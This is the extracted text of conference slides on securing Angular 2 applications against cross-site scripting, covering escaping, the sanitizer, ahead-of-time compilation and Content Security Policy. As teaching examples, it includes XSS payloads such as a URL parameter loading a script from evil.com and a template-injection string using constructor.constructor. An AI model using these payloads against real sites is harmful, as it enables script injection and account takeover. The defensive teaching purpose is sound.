boosting the security of your angular 2 application · 1-upping your xss defenses with csp...
TRANSCRIPT
@PhilippeDeRyck
BOOSTING THE SECURITY OF YOURANGULAR 2APPLICATION
PhilippeDeRyck
NG-BEConference,December9th 2016
https://www.websec.be
@PhilippeDeRyck
ABOUT ME – PHILIPPE DE RYCK
§Mygoalistohelpyoubuildsecurewebapplications− In-housetrainingprogramsatvariouscompanies−HostedwebsecuritytrainingcoursesatDistriNet (KULeuven)− Talksatvariousdeveloperconferences− Slides,videosandblogpostsonhttps://www.websec.be
§ Ihaveabroadsecurityexpertise,withafocusonWebSecurity−PhDinclient-sidewebsecurity−MainauthorofthePrimeronclient-sidewebsecurity
§ PartoftheorganizingcommitteeofSecAppDev.org−Week-longcoursefocusedonpracticalsecurity
2
@PhilippeDeRyck
XSSIS THE GATEWAY TO TOTAL PWNAGE
http://colesec.inventedtheinternet.com/beef-the-browser-exploitation-framework-project/ 3
@PhilippeDeRyck
TO TALK ABOUT THE FUTURE,WE MUST TALK ABOUT THE PAST
https://websec.be/?username=Philippe
<p>Welcome <b><?php echo $username ?></b></p>
<p>Welcome <b>Philippe</b></p>
https://websec.be/?username=<blink>ng-be</blink>
https://websec.be/?username=pwned<script src=//evil.com/hook.js></script>
<p>Welcome <b><blink>ng-be</blink></b></p>
<p>Welcome <b>pwned<script src=“//evil.com/hook.js”></script></b></p>
WelcomePhilippe
Welcome ng-be
Welcomepwned
ng-be
@PhilippeDeRyck
TRADITIONAL XSSDEFENSES
<p>Welcome <b><?php echo htmlentities($username) ?></b>
</p>
<p>Welcome <b><?php echo $username ?></b>
</p>
<script>var username = “<?php echo $username ?>”;
</script><p class=“<?php echo $status ?>”>
Welcome <b style=“color: <?php echo $color?>”><?php echo $username ?></b></p>
<p>Welcome <b><blink>ng-be</blink></b>
</p>
@PhilippeDeRyck
DOESN’T THIS LOOK FAMILIAR?
https://xkcd.com/327/
@PhilippeDeRyck
SEPARATING DATA AND CODE WITH ANGULAR
<p>Welcome <b>{{username}}</b></p>
https://websec.be/?username=<blink>ng-be</blink>
<p>Welcome <b><blink>ng-be</blink></b></p> Welcome<blink>ng-be</blink>
https://websec.be/?username=<script>alert(‘ng-be!’</script>
<p>Welcome <b><bscript>alert(’ng-be!’)</script></b></p> Welcome<script>alert(‘ng-be!’</script>
@PhilippeDeRyck
BUT ANGULAR IS FLEXIBLE,AND ESCAPING IS NOT MANDATORY
<p>Welcome <b [innerHTML]=“htmlSnippet”></b></p>
htmlSnippet=“<blink>ng-be</blink>”
<p>Welcome <b><blink>ng-be</blink></b></p>
htmlSnippet=pwned<script src=“//evil.com/hook.js”></script>
<p>Welcome <b>pwned</b></p> Welcomepwned
Welcome ng-beng-be
@PhilippeDeRyck
RESPECT THE AUTHORITY OF THE SANITIZER
§ SanitizationisenabledbydefaultwhenyoubindHTMLintotheDOM− Themajorityofyouwillnotevennoticethesanitizeratwork,whichisgreat!−MakesureyoudothisviaAngular,notbydirectlycallingtheDOMAPI
§ SimilartoAngular1,functionstobypasssanitizationareavailable−Aminormodificationsaimstoraisedeveloperawarenessaboutitseffect
TrustHtml()TrustScript()TrustStyle()TrustUrl()TrustResourceUrl()
bypassSecuritybypassSecuritybypassSecuritybypassSecuritybypassSecurity
@PhilippeDeRyck
DISMISS XSSLIKE A KING,GET PWNED LIKE A SKIDDIE
https://github.com/angular/angular/issues/8511
Redactedforyoursafety!
@PhilippeDeRyck
TAKEAWAY #1
ANGULAR ALREADY PROTECTS YOU AGAINST XSS,JUST GET OUT OF THE WAY
§ Thenormalwayofbindingdataisusinginterpolation−Angularwillautomaticallyapplyescaping−Bindingdatathiswaywillneverresultintheinjectionofunsafecontent
§ YoucanalsobinddatathatcontainsHTMLcode−Angularwillautomaticallyapplysanitization− Thesanitizerremovesdangerousfeatures,butleavesotherpartsuntouched−DonotdirectlyuseDOMAPIstobindthisdata,butusebuilt-inmechanisms
§ Angularallowsyoutomarkavalueassafetouseinadangerouscontext−Onlyusethisforstaticdata,whichhasbeenverifiedtobesecure
@PhilippeDeRyck
TRICKING ANGULAR INTO MISBEHAVING
<script src=“…/angular.js”></script><p>Welcome <b><?php echo htmlentities($username) ?></b></p>
https://websec.be/?username=Philippe{{constructor.constructor(‘alert(1)’)}}
<p>Welcome <b>Philippe{{constructor.constructor(‘alert(1)’)}} </b></p>
WelcomePhilippe
@PhilippeDeRyck
THERE’S NO SAFE WAY TO DO THIS WITH ANGULAR 1…
http://angularjs.blogspot.be/2016/09/angular-16-expression-sandbox-removal.html
@PhilippeDeRyck
BUT ANGULAR 2OFFERS AHEAD-OF-TIME COMPILATION
§ Theofflinecompilerturnstheapplicationintoexecutablecode− Thecompilerisnotevenavailableanymoreinthebrowser−Databindingsarealreadyresolved,andencodedintotheJSbundle
§ AOTcompilationeffectivelystopstemplateinjectionattacks−Atthemomentofinjection,theapplicationisalreadycompiled− Theinjectedtemplatecodewillsimplyberendered,notexecuted
var currVal_6 = __WEBPACK_IMPORTED_MODULE_2__angular_core_src_linker_view_utils__["inlineInterpolate"](1, '\n ', this.context.MyAOTBinding, '\n');
@PhilippeDeRyck
TAKEAWAY #2
USE AHEAD-OF-TIME COMPILATION TO GET RID OF TEMPLATE INJECTION
§ CombiningAngularwithothertechnologiescanresultintemplateinjection−Dynamicallygeneratedserver-sidepages(PHP,JSP,…)−Client-sidelibrariesthatrunbeforeAngulardoes(Jquery,...)
§ ThisisactuallyabigprobleminAngular1.xapplications− Theexpressionsandboxtriedtofixthis,butitturnedouttobetoohardtogetright
§ AOTallowsyoutocompileyourtemplatesdirectlyintotheJSfiles−Removesclient-sideprocessingoftemplates,thusremovesinjectionattacks−Additionalincentive:AOTgivesyouamassiveperformanceimprovement
@PhilippeDeRyck
BUT WHAT WILL HAPPEN WHEN AN XSSSNEAKS THROUGH?
@PhilippeDeRyck
1-UPPING YOUR XSSDEFENSES WITH CSP
§ ContentSecurityPolicy(CSP)isanewbrowsersecuritypolicy−Givesadeveloperalotofcontroloverwhatisallowedtohappeninapage−Deliveredbytheserverinaresponseheaderormeta tag
<p>Welcome <b onclick=“alert(’XSS’)”><script>alert(“XSS”);</script></b></p>
<p>Welcome <b>pwned<script src=“//evil.com/hook.js”></script></b></p>
Inlinescriptsareblockedandwillnotexecute
Externalscriptsareonlyloadediftheyareexplicitlywhitelisted
Content-Security-Policy: script-src ‘self’
@PhilippeDeRyck
CSPSOUNDS HARD,WILL IT WORK WITH ANGULAR?
Content-Security-Policy: script-src ‘self’
@PhilippeDeRyck
WHITELISTING REMOTE SCRIPTS SEEMS EASY …
Content-Security-Policy: script-src ‘self’https://cdnjs.cloudflare.com
@PhilippeDeRyck
HOST-BASED WHITELISTING IS A BAD IDEA
https://speakerdeck.com/mikispag/acm-ccs-2016-csp-is-dead-long-live-csp 20
@PhilippeDeRyck
NONCES TO THE RESCUE
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’
Nonces shouldfreshandrandom
@PhilippeDeRyck
NONCES WORK FOR INLINE SCRIPTS AS WELL
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’
Nonces shouldfreshandrandom
@PhilippeDeRyck
BUT INCLUDING REMOTE COMPONENTS REMAINS TRICKY
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’https://platform.twitter.com/ https://cdn.syndication.twimg.comhttps://syndication.twitter.com
@PhilippeDeRyck
’STRICT-DYNAMIC’ENABLES TRUST PROPAGATION
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’’strict-dynamic’
@PhilippeDeRyck
FROM ‘STRICT-DYNAMIC’TO A UNIVERSAL CSPPOLICY
Content-Security-Policy: object-src 'none'; script-src ’nonce-{random}'
'strict-dynamic' 'unsafe-inline' 'unsafe-eval' https: http:;
report-uri https://your-report-collector.example.com/
@PhilippeDeRyck
FROM ‘STRICT-DYNAMIC’TO A UNIVERSAL CSPContent-Security-Policy:
object-src 'none'; script-src ’nonce-{random}' 'strict-dynamic' 'unsafe-inline' 'unsafe-eval' https: http:; report-uri https://your-report-collector.example.com/
Content-Security-Policy: object-src 'none'; script-src ’nonce-{random}’ 'strict-dynamic’ 'unsafe-eval'; report-uri https://your-report-collector.example.com/
Content-Security-Policy: object-src 'none'; script-src ’nonce-{random}’ 'unsafe-eval' https: http:; report-uri https://your-report-collector.example.com/
Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' https: http:; report-uri https://your-report-collector.example.com/
RemoteInline
RemoteInline
RemoteInline
@PhilippeDeRyck
TAKEAWAY #3
CSPALLOWS YOU TO LOCK YOUR APPLICATION DOWN
§ CSPallowsyoutopreventinjectedscriptsfrombeingexecuted− IsstraightforwardtoenablewithfullURLsonself-containedapplications−Hasbecomeeasytoenableforexternalcomponentsusing‘strict-dynamic’− TheuniversalCSPpolicyiscompatiblewithallbrowsersandvirtuallyallapplications
§ CSPsreportingmodegivesyouinsightsintoviolations−Awesometodry-runapolicybeforeactuallydeployingit
§ CSPcanbeusedtorestrictothertypesofresourcesandactions−Newfeatureskeepbeingadded,makingCSPanimportantpolicytowardsthefuture
@PhilippeDeRyck
TAKEAWAY #3
CSPALLOWS YOU TO LOCK YOUR APPLICATION DOWN
TAKEAWAY #2
USE AHEAD-OF-TIME COMPILATION TO GET RID OF TEMPLATE INJECTION
TAKEAWAY #1
ANGULAR ALREADY PROTECTS YOU AGAINST XSS,JUST GET OUT OF THE WAY
BOOSTING THE SECURITY OF YOUR ANGULAR 2APPLICATION
@PhilippeDeRyck
NOW IT’S UP TO YOU …
Secure ShareFollow
https://www.websec.be [email protected] /in/philippederyck